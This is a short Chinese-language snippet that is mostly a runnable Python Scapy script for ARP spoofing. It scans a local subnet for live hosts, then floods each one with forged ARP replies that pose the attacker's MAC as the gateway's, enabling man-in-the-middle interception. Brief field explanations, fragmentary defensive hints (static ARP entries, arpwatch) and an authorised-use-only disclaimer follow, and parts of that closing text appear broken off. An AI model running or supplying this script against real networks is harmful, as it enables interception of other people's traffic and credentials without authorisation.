使用 Scapy 套件構造偽造 ARP 回應,將攻擊者 MAC 偽裝為網關,實現區域網路中間人攻擊(僅供安全研究教學用途)。
# coding: utf-8
from scapy.all import ARP, send, arping
import sys, re
IP_RANGE = "192.168.1.*"
GATEWAY_IP = "192.168.1.1"
FAKE_GATEWAY_MAC = "00:11:22:33:44:55"
# 偽造 ARP 回應封包模板
pkt = ARP(op=2, hwsrc=FAKE_GATEWAY_MAC, psrc=GATEWAY_IP)
def arp_spoof(target_ip, target_mac):
p = pkt.copy()
p.hwdst = target_mac
p.pdst = target_ip
send(p, verbose=0)
def get_live_hosts():
hosts = {}
sys.stdout = open('host.info', 'w')
arping(IP_RANGE)
sys.stdout = sys.__stdout__
with open('host.info') as f:
lines = f.readlines()[2:] # 跳過標題行
for line in lines:
parts = re.split(r'\s+', line.strip())
if len(parts) >= 3:
hosts[parts[1]] = parts[2] # mac -> ip
return hosts
if __name__ == "__main__":
hosts = get_live_hosts()
while True:
for mac, ip in hosts.items():
arp_spoof(ip, mac)
ARP(op=2):ARP 回應封包。hwsrc:發送者 MAC(偽造為網關 MAC)。psrc:發送者 IP(網關 IP)。hwdst、pdst:目標主機 MAC/IP。arp -s)。arpwatch)。僅授權於自有網路環境進行安全測試與教學研究。未經授權對他人網路實施 ARP 欺騙屬違法行為,後果自負。